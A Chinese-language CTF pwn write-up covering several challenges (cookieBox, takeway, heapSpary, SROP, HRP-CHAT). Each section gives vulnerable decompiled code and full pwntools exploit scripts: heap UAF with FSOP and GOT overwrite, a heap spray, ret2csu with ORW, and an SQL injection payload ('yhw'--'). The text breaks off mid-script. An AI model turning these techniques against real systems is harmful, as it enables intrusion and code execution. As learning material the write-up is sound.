RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,Canary,NX

漏洞分析

有 UAF 漏洞:

1
2
3
4
5
6
if ( index <= 0xF && chunk_list[index] )
{
free(chunk_list[index]);
size_list[index] = 0;
puts("Done");
}
  • 可以对同一个 chunk 释放多次

入侵思路

先搭建调试环境:

1
2
3
4
5
tar -xzvf musl-1.1.24.tar.gz
cd musl-1.1.24
sudo su
./configure --prefix=/usr/local/musl CFLAGS='-O2 -v -g' --enable-debug=yes
make && make install
  • 设置 -g 方便查看程序在哪里报错

打印 mal 结构体即可查看详细信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> p mal
$1 = {
binmap = 343597383680,
bins = {{
lock = {0, 0},
head = 0x0,
tail = 0x0
} <repeats 36 times>, {
lock = {0, 0},
head = 0x7fe5b69c0710,
tail = 0x7fe5b69c0710
}, {
lock = {0, 0},
head = 0x7fe5b69bde38 <mal+888>,
tail = 0x7fe5b69bde38 <mal+888>
}, {
lock = {0, 0},
head = 0x6021f0,
tail = 0x6021f0
}, {
lock = {0, 0},
head = 0x0,
tail = 0x0
} <repeats 25 times>},
free_lock = {0, 0}
}

一般对于 musl-1.1.x 的入侵手段就是 FSOP,先利用 UAF 申请到 __stdout_FILE

最开始我的思路是劫持 bins,但试了好几次发现自己伪造的 chunk 会触发段错误:

1
2
3
  0x7f4cc63a2674 <malloc+820>    mov    qword ptr [rdx + 0x10], rax
0x7f4cc63a2678 <malloc+824> mov qword ptr [rax + 0x18], rdx <mal+72>
0x7f4cc63a267c <malloc+828> mov rax, qword ptr [r8 + 8]

对应的源码如下:

1
2
3
4
if (c->prev == c->next)
a_and_64(&mal.binmap, ~(1ULL<<i));
c->prev->next = c->next;
c->next->prev = c->prev;
  • 调试发现 c 就是我们伪造 chunk 的地址,而后续的 unlink 操作极有可能发送段错误
  • 即使尝试用 __stdout_FILE && __stdin_FILE 上的可写地址来绕过,最后也会因为 puts 异常而发生段错误

最后想到可以先利用 unbin 往 __stdout_FILE 中写一个合法地址,然后在基于这个地址伪造 fake chunk

1
2
3
lock = {0, 0},
head = 0x7f3056ddc3b0,
tail = 0x7f3056ddc530
1
2
3
4
5
pwndbg> telescope 0x7f3056ddc3b0
00:00000x7f3056ddc3b0 ◂— 0x1
01:00080x7f3056ddc3b8 ◂— 0x80
02:00100x7f3056ddc3c0 —▸ 0x7f3056ddc3b0 ◂— 0x1
03:00180x7f3056ddc3c8 —▸ 0x7f3056dd92e0 (__stdin_FILE+224) ◂— 0x0
  • chunk->bk 中写 __stdout_FILE-0x20,就可以往 __stdout_FILE-0x10 中写一个堆地址

围绕这个堆地址写入 fake chunk 就可以成功申请到 __stdout_FILE,然后写入 fake stdout 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './cookieBox1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('','9999')

def debug():
gdb.attach(p,"b* 0x0400A7D\n")
#gdb.attach(p,"b *$rebase(0x92E)\n")
pause()

def cmd(op):
sla(">>",str(op))

def add(size,data):
cmd(1)
sla("size",str(size))
sa("Content",data)

def dele(index):
cmd(2)
sla("idx",str(index))

def edit(index,data):
cmd(3)
sla("idx",str(index))
sa("content",data)

def show(index):
cmd(4)
sla("idx:\n",str(index))

add(0x70,"/bin/sh\x00")
add(0x70,"a"*0x10)
add(0x70,"a")
add(0x70,"a"*0x10)
add(0x70,"a"*0x10)
add(0x70,"a"*0x10)

show(2)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x292e61
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system_libc = libc_base + libc.sym["system"]
stdin_libc = libc_base + libc.sym["__stdin_FILE"]
stdout_libc = libc_base + libc.sym["__stdout_FILE"]
stdout_close = libc_base + libc.sym["__stdio_close"]
mal_libc = libc_base + libc.sym["mal"]
success("stdin_libc >> "+hex(stdin_libc))
success("stdout_libc >> "+hex(stdout_libc))

dele(1)
dele(4)

add(0x70,"1"*0x10)
add(0x70,"2"*0x10)
dele(1)
dele(4)

edit(6,p64(libc_base+0x2953b0)+p64(stdout_libc-0x20))
add(0x70,"1"*0x10)

dele(1)
edit(6,p64(stdout_libc-0x20)+p64(mal_libc+72))
add(0x70,p64(stdout_libc-0x20)+p64(mal_libc+72))
#debug()

fake_stdout_file = flat({
0: '/bin/sh\x00',
0x20: 1, # f->wpos
0x28: 1, # f->wend
0x30: system_libc,
0x38: 0,
0x48: system_libc # f->write
})

payload = "1"*28+"\x00"*0x10+fake_stdout_file
cmd(1)
sla("size",str(0x70))
ru(":")
p.send(payload)

p.interactive()

takeway

1
2
3
4
5
6
takeway: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=eca4ff2062c2289a398fdd0099d226072093950f, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Partial RELRO,Canary,NX

漏洞分析

UAF 漏洞:

1
2
3
4
5
6
7
8
printf("Please input your order index: ");
__isoc99_scanf("%d", &index);
if ( index >= numg || (index & 0x80000000) != 0 )
{
puts("Invalid order!");
exit(1);
}
free(chunk_list[index]);

入侵思路

程序限制了申请块的数目:

1
2
3
4
5
if ( index >= numg || (index & 0x80000000) != 0 || chunk_list[index] )
{
puts("Invalid order!");
exit(1);
}

由于程序没有开 PIE,因此我们可以直接申请 numg 所在的空间,并修改 numg

最后直接申请到 GOT 表,完成泄露并且修改 dl_runtime_resolve 为 one_gadget 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './takeway1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b* 0x40154B\nb* 0x40135C\nb* 0x4016A4")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla("choose",str(op))

def add(index,name,data):
cmd(1)
sla("index",str(index))
sa("name",name)
sa("remark",data)

def dele(index):
cmd(2)
sla("index",str(index))

def edit(index,name,key=0):
cmd(3)
sla("index",str(index))
leak_addr = 0
if key == 1:
ru("a"*8)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
sla("is: ",name)
return leak_addr

target_addr = 0x404080
hole_got2 = 0x404010
pust_got = 0x404020
exit_got = 0x404070
setbuf_got = 0x404038
printf_got = 0x404040
setresgid_got = 0x404030

for i in range(2):
add(i,"a"*7,"123")

for i in range(2):
dele(i)

edit(1,p64(target_addr))

add(2,p32(0x1000),p32(0x1000))
add(3,p32(0x1000),p32(0x1000))

for i in range(2):
add(i+9,"a"*7,"123")

for i in range(2):
dele(i+9)

edit(10,p64(hole_got2))
add(11,p8(0x10),p8(0x10))
add(12,p8(0x10),"a"*0x8)

leak_addr = edit(12,"\x00",key=1)
libc_base = leak_addr - 0x875a0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system_libc = libc_base + libc.sym["system"]
success("system_libc >> "+hex(system_libc))

one_gadgets = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = one_gadgets[1] + libc_base
success("one_gadget >> "+hex(one_gadget))

edit(12,p64(one_gadget))
#debug()
cmd(4)

p.interactive()

heapSpary

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
1
2
3
4
5
6
main: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=efe84eed376bd21cda8887c5de4e43ec76f723ac, for GNU/Linux 3.2.0, stripped
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 32位,dynamically,全开

漏洞分析

程序可以执行函数指针:

1
2
3
4
5
6
7
8
if ( index <= 0xFFF && chunk_list[index].data )
{
func = chunk_list[index].space + chunk_list[index].data;
if ( **(_DWORD **)func )
--**(_DWORD **)func;
else
(*(void (__cdecl **)(const char *))(*(_DWORD *)func + 4))("cat flag");
}

程序的写入没有限制字节数,可以无限堆溢出:

1
2
3
4
5
puts("Please input your head data.");
reads(
*((char **)&chunk_list[0].data + num_2 * (m + i * num_16)),
*(&chunk_list[0].space + (m + i * num_16) * num_2));
puts("Which flag do you want?");

申请模块中允许的 size 范围非常大,可以调用 mmap 进行申请:

1
if ( space > 0 && space <= 0x20000 )

入侵思路

首先程序有一个小点需要注意:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
puts("Please input your head data.");
reads(
*((char **)&chunk_list[0].data + num_2 * (m + i * num_16)),
*(&chunk_list[0].space + (m + i * num_16) * num_2));
puts("Which flag do you want?");
key = readn();
chunk = *(&chunk_list[0].space + (m + i * num_16) * num_2) + *(&chunk_list[0].data + num_2 * (m + i * num_16));
switch ( key )
{
case 1:
*(_BYTE *)chunk = (unsigned __int8)flag1 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(chunk + 1) = (unsigned int)flag1 >> 8;
*(_BYTE *)(chunk + 3) = (unsigned int)flag1 >> 24;
break;
  • 在读取函数 reads 中会对字符串末尾置零,而后续写入地址的操作会将这个 \x00 给覆盖掉

利用这个特性可以轻松泄露程序基地址:

1
2
3
4
5
6
7
8
add(0x28,"a"*0x28)
show(0)

ru("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
leak_addr = u64(p.recv(4).ljust(8,"\x00"))
pro_base = leak_addr - 0x1524
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

用类似的方法可以泄露 libc_base:

1
2
3
4
5
6
7
8
9
10
11
add(0x200,"a"*1)
dele()
add(1,"a")

show(0)
ru("Heap information is a")
p.recv(3)
leak_addr = u64(p.recv(4).ljust(8,"\x00"))
libc_base = leak_addr - 0x22a756
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

但如果想要在泄露 libc_base 的同时泄露 heap_base 的话,则需要一点技巧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def show(index):
cmd(2)
sla("index :",str(index))
ru("Heap information is ")
p.recv(4)
leak_addr = u64(p.recv(4).ljust(8,"\x00"))
return leak_addr

add(0x200,"a"*1)
dele()
add(1,"a")

leak_addr = show(0)
libc_base = leak_addr - 0x22a756
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system_libc = libc_base + libc.sym["system"]
success("system_libc >> "+hex(system_libc))

add(0x90,"b"*1)
dele()
add(1,"b")

key = 0
heap_base = 0
for i in range(30):
leak_addr = show(i)
if leak_addr < 0x57000000 and leak_addr > 0x54000000:
heap_base = leak_addr - 0x1956
heap_base = heap_base & 0xfffff000
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))
key = 1

if key == 0:
p.close()

接下来的操作就有点玄学了,我们先看一下后门函数的逻辑:

1
2
3
4
5
6
7
8
if ( index <= 0xFFF && chunk_list[index].data )
{
func = chunk_list[index].space + chunk_list[index].data;
if ( **(_DWORD **)func )
--**(_DWORD **)func;
else
(*(void (__cdecl **)(const char *))(*(_DWORD *)func + 4))("cat flag");
}
  • func 地址位于该 chunk 的末尾(就是写入函数指针的位置)
  • 两次解引用后数值必须为“0”,如果数值“0”后是 system 就可以拿到 flag

由于程序的申请操作受随机数影响,导致堆风水很乱,到这里时就只能尽可能多的写入 system 和 system 所在堆地址以提升打通的概率

  • PS:有点像打内核题时用的堆喷技巧(kernel 的 slab/slub 对释放块有随机化保护,我猜题目也是为了模拟这一点)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
# -*- coding:utf-8 -*-
from pwn import *

arch = 32
challenge = './main'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1CA1)\n")
#pause()

def cmd(op):
sla("choose :",str(op))

def add(space,data,flag=1):
cmd(1)
sla("need :",str(space))
for i in range(16):
sla("data",data)
sla("want?",str(flag))

def show(index):
cmd(2)
sla("index :",str(index))
ru("Heap information is ")
p.recv(4)
leak_addr = u64(p.recv(4).ljust(8,"\x00"))
return leak_addr

def dele():
cmd(3)

def action(index):
cmd(5)
sla("index :",str(index))

add(0x200,"a"*1)
dele()
add(1,"a")

leak_addr = show(0)
libc_base = leak_addr - 0x22a756
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system_libc = libc_base + libc.sym["system"]
success("system_libc >> "+hex(system_libc))

add(0x90,"b"*1)
dele()
add(1,"b")

key = 0
heap_addr = 0
for i in range(30):
leak_addr = show(i)
if leak_addr < 0x57000000 and leak_addr > 0x54000000:
heap_addr = leak_addr + 0x4e5a
success("leak_addr >> "+hex(leak_addr))
success("heap_addr >> "+hex(heap_addr))
key = 1

if key == 0:
p.close()

dele()
dele()
dele()
dele()
dele()

#debug()

add(0x8,"a")
payload = p32(heap_addr)*0x1000+(p32(0)+p32(system_libc))*0x1000
add(0x8,payload)
action(0)

p.interactive()

SROP

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
1
2
3
4
5
6
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b9a04d5b45791b795e9c72a0f443a391a5cd591a, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,NX
1
2
3
4
5
6
7
8
9
10
11
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
  • 只能打 ORW

漏洞分析

栈溢出 + syscall:

1
2
3
seccomp(argc, argv, envp);
syscall(1LL, 1LL, bufg, 0x30LL);
return syscall(0LL, 0LL, buf, 0x300LL);

入侵思路

有栈溢出,可以打 ret2csu,先利用现成的 syscall 配合万能 pop 构造 read 函数,然后栈迁移到 bss 段打 ORW

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b *0x4007AE\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">",str(op))

csu_front_addr=0x4007F0
csu_end_addr=0x40080A

def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call(只能是got表地址)
# rdx=r15
# rsi=r14
# rdi=r13
# csu(0, 1, fun_got, rdx, rsi, rdi, last)
payload = ""
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
return payload

read_sys = 0
write_sys = 1
open_sys = 2
sigreturn = 15

bss_addr = 0x601050 + 0x200
main_addr = 0x40075B
syscall_got = 0x600fe8
leave_ret = 0x4007AD
ret = 0x4007AE
pop_rbp_ret = 0x0000000000400628

#debug()

payload = "a"*0x30 + p64(bss_addr) + csu(0, 1, syscall_got, read_sys, 0, bss_addr, pop_rbp_ret) + p64(bss_addr) + p64(leave_ret) + p64(bss_addr+8)
sl(payload)

sleep(0.3)
payload = "./flag".ljust(8,"\x00")
payload += csu(0, 1, syscall_got, open_sys, bss_addr, 0, ret)
payload += csu(0, 1, syscall_got, read_sys, 3, bss_addr, ret)
payload += csu(0, 1, syscall_got, write_sys, 1, bss_addr, ret)
sl(payload)

p.interactive()

HRP-CHAT

题目的 docker 启动脚本如下:

1
2
3
4
echo $GZCTF_FLAG>/home/ctf/Nep_CTF_FLAG_ONE
nohup /home/ctf/serve >result 2>&1 &
sleep 1
/home/ctf/safebox /home/ctf/client
  • 执行 /home/ctf 目录下的 serve 文件,并重定向输入到 result 文件(将标准错误 2 重定向到标准输出 &1,标准输出 &1 再被重定向输入到 result 文件中)
  • 本题目有4个 flag 并且提供源码
  • PS:第一条命令与动态 flag 有关,需要去掉

题目开始前先修改 serve.c,然后执行 make.sh 并重新编译:

1
2
3
4
socklen_t serverLen = sizeof(struct sockaddr_in);
serverSock.sin_addr.s_addr = inet_addr(IP);//htonl(INADDR_ANY);
serverSock.sin_port = htons(PORT);
serverSock.sin_family = AF_INET;

修改 docker-compose.yml 并搭建 docker 环境:

1
2
3
4
5
6
7
version: "2"
services:
chat:
build: .
restart: unless-stopped
ports:
- "2222:8888"

程序分析

输入 help 即可查看程序的功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# ./start.sh
为缓解服务器压力客户端将以安全模式运行中
欢迎来到NepCTF CardFight,在这里你可以进行大厅聊天以及卡牌对战,当你胜利后会获取到金币码,金币足够后可以进行商店物品兑换(flag暂未上架)
你可以输入help来获取帮助
help
输入Login进行登录和注册,数据存储在sqlite中请不要担心丢失,输入back返回上级菜单
输入Chart进入大厅聊天室(服务器不支持空格),输入back返回菜单选择
输入Start可以进行卡牌对战,输入back返回菜单选择
输入Shop进入商店,输入back返回菜单选择
输入Message获取个人数据,输入back返回上级菜单
输入Secret进入私聊模式,输入back返回上级菜单
输入RollCard进行抽卡,输入back返回上级菜单
输入Bot获取远程AI协助,输入back返回上级菜单
sqlite只存储用户名密码

入侵思路 - flag1

第一个 flag 位于 Shop 模块中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
char sql1[0x100];
sprintf(sql1,"select * from user where Username='%s' and Statement ='root'",pNode->username);
printf("\n\n%s\n",sql1);
char **tb;
int rows = 0;
int cols = 0;
rc = sqlite3_get_table(db, sql1, &tb, &rows, &cols, NULL);
if(rows>0)
{
//exp 1'--
char *flag;
FILE *file = fopen("/home/ctf/Nep_CTF_FLAG_ONE", "r");
if (file == NULL) {
printf("Could not open flag file.\n");
exit(1);
}

fseek(file, 0, SEEK_END);
long fsize = ftell(file);
fseek(file, 0, SEEK_SET);

flag = malloc(fsize + 1);
fread(flag, fsize, 1, file);
fclose(file);
flag[fsize] = '\0';
strcpy(msgs.message,flag);
send(pNode->fd, &msgs, sizeof(msgs), 0);
pthread_mutex_unlock(&phead.lock);
}
else{
strcpy(msgs.message,"flag仅供root用户");
send(pNode->fd, &msgs, sizeof(msgs), 0);
pthread_mutex_unlock(&phead.lock);
}
  • 需要满足 rows>0 这个条件,其值通过 sqlite3_get_table 函数从数据库中获取

发现 sprintf 后并没有对 sql 语句进行限制,这里可能是打 sql 注入,最简单的想法就是在用户名末尾添加 ' 截断,并添加注释符号 --,从而绕过 Statement ='root'

1
select * from user where Username='yhw'--123456' and Statement ='root'

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

#elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('127.0.0.1','2222')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla(">",str(op))

#debug()

sl("Login")
ru("(均为6个字符)")
sl("yhw")
sl("123456")
ru("你已退出登录注册界面")
sl("Login")
ru("(均为6个字符)")
sl("yhw'--")
sl("123456")
ru("你已退出登录注册界面")
sl("Shop")
ru("商品信息:")
sl("999")

p.interactive()

入侵思路 - flag2

第二个 flag 在 VIP 模块中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if(!strcmp(msg.message,"RemoteVIPApplicationCertificationHasPassed"))
{
printf("%s:","你已成功申请为VIP用户,请保管好您的VIP码(此码仅往后不会再出现,请妥善保存)");
char *vip;
FILE *file = fopen("/home/ctf/Nep_CTF_FLAG_TWO", "r");
if (file == NULL) {
printf("Could not open flag file.\n");
exit(1);
}

fseek(file, 0, SEEK_END);
long fsize = ftell(file);
fseek(file, 0, SEEK_SET);

vip = malloc(fsize + 1);
fread(vip, fsize, 1, file);
fclose(file);
vip[fsize] = '\0';
printf("%s\n",vip);

}
else{
printf("Bot say:%s\n",msg.message);
}
  • 想要获取 VIP 必须让服务器返回的数据为 RemoteVIPApplicationCertificationHasPassed
  • 在服务端找到对应的模块,发现服务端只能返回固定字符串
1
2
3
4
5
6
else if(!strcmp(info[1],"BotRemoteHelp")&&strcmp(info[3],"back"))
{
strcpy(msgs.message,"'远程AI协助服务正在开发中!'");
send(pNode->fd, &msgs, sizeof(msgs), 0);
pthread_mutex_unlock(&phead.lock);
}

我的第一反应是伪造客户端向服务端发送伪造数据包,但该题目是直接与客户端进行交互的,没有伪造的机会,不过程序似乎提供了伪造的功能:

1
2
3
4
5
6
7
8
9
10
else if(!strcmp(info[1],"Secret"))
{
strcpy(msgs.message,info[3]);
int uid=atoi(info[4]);
if(uid>=5&&uid<1000)
{
send(uid, &msgs, sizeof(msgs), 0);
}
pthread_mutex_unlock(&phead.lock);
}
  • 该服务器有“聊天室”这个功能,通过这个功能可以使服务端发送任何数据到任意一个客户端
  • 可以先 nc 启动一个客户端执行 Bot 命令,然后再用另一个客户端的 Secret 功能向第一个客户端发送指定数据包
  • 而在 Chart 功能中可以查看目标客户端的 UID

通过以下两个 exp 的配合,就可以获取 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

#elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
